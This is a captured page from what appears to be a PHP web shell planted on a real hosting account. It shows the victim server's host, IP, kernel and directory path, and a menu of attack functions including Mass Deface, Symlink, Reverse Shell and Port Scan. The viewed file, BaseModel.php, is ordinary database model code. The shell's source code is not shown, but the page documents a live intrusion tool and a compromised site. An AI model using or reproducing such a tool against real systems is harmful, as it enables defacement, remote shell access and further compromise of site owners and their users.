Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
construcciones
/
admin
/
app
/
Models
/
Viewing: BaseModel.php
<?php abstract class BaseModel { protected PDO $db; protected string $table; protected string $primaryKey = 'id'; protected array $fillable = []; public function __construct() { $this->db = Database::connection(); } public function all(): array { $statement = $this->db->query("SELECT * FROM {$this->table} ORDER BY {$this->primaryKey} DESC"); return $statement->fetchAll(); } public function find(int $id): ?array { $statement = $this->db->prepare("SELECT * FROM {$this->table} WHERE {$this->primaryKey} = :id LIMIT 1"); $statement->execute(['id' => $id]); return $statement->fetch() ?: null; } public function create(array $data): int { $data = $this->filterFillable($data); $columns = array_keys($data); $quotedColumns = array_map(fn ($column) => "`{$column}`", $columns); $placeholders = array_map(fn ($column) => ':' . $column, $columns); $sql = sprintf( 'INSERT INTO %s (%s) VALUES (%s)', $this->table, implode(', ', $quotedColumns), implode(', ', $placeholders) ); $statement = $this->db->prepare($sql); $statement->execute($data); return (int) $this->db->lastInsertId(); } public function update(int $id, array $data): bool { $data = $this->filterFillable($data); if (empty($data)) { return false; } $set = implode(', ', array_map(fn ($column) => "`{$column}` = :{$column}", array_keys($data))); $data['id'] = $id; $statement = $this->db->prepare("UPDATE {$this->table} SET {$set} WHERE {$this->primaryKey} = :id"); return $statement->execute($data); } public function delete(int $id): bool { $statement = $this->db->prepare("DELETE FROM {$this->table} WHERE {$this->primaryKey} = :id"); return $statement->execute(['id' => $id]); } protected function filterFillable(array $data): array { return array_intersect_key($data, array_flip($this->fillable)); } }
Coded With 💗 by
0x6ick